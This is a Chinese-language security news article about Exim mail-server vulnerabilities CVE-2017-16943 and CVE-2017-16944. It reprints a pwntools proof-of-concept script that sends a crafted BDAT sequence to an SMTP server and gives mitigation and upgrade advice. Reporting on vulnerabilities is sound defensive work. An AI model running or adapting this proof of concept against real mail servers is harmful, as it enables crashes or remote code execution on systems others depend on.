天创培训:您身边的信息安全培训专家!
行业动态
互联网半数邮件服务器可被远程代码执行,超40万台服务器受影响

台湾安全公司 DEVCORE 的研究人员 Meh 于近期发现互联网邮件传输代理(MTA)软件 Exim 存在一处关键漏洞(CVE-2017-16943),允许黑客向 SMTP 服务器发送 BDAT 命令,从而触发漏洞后远程执行任意代码。调查显示,有超过 40 万台服务器的分块功能已遭该漏洞影响。

Exim 是剑桥大学开发的一款基于 GPL 协议的开放源代码软件,其主要用于连接互联网 Unix 系统的消息传输代理(MTA)服务器。目前,据三月份进行的一百多万台邮件服务器的分析表明,超过 56% 的用户正在使用 Exim 软件。

互联网半数邮件服务器可被远程代码执行,超40万台服务器受影响

调查显示,该漏洞由一台公共bug跟踪器检测发现并在补丁发布之前意外披露。一旦黑客恶意利用,其系统将会处于崩溃状态,因为该函数指针的receive_getc并未被重置。以下是该漏洞部分概念验证代码(PoC)显示:

# pip install pwntools
from pwn import *

r = remote(‘localhost’, 25)

r.recvline()
r.sendline(“EHLO test”)
r.recvuntil(“250 HELP”)
r.sendline(“MAIL FROM:<test@localhost>”)
r.recvline()
r.sendline(“RCPT TO:<test@localhost>”)
r.recvline()
#raw_input()
r.sendline(‘a’*0x1100+’\x7f’)
#raw_input()
r.recvuntil(‘command’)
r.sendline(‘BDAT 1’)
r.sendline(‘:BDAT \x7f’)
s = ‘a’*6 + p64(0xdeadbeef)*(0x1e00/8)
r.send(s+ ‘:\r\n’)
r.recvuntil(‘command’)
#raw_input()
r.send(‘\n’)
r.interactive()
exit()

虽然跟踪器会警示 Exim 软件存在漏洞,但根据用户习惯来看告警通知极有可能被忽略。不过,现开发人员已采取安全措施防止此类事件恶意发展,并提醒运行 Exim 4.88 或更高版本的用户将其主要配置参数 chunking_advertise_hosts 设置为空值,从而禁用 ESMTP 扩展、使 BDAT 无法使用,以便关闭易受攻击程序。

另外,研究人员发现的另一个漏洞(CVE-2017-16944)能够允许黑客利用 BDAT 命令与恶意函数远程开展拒绝服务(DoS)攻击。该漏洞影响了 Exim 4.88 和 4.89 中的 SMTP 后台进程。对此,研究人员建议系统管理人员尽快更新至 Exim 4.90 版本,以防可能的黑客恶意攻击。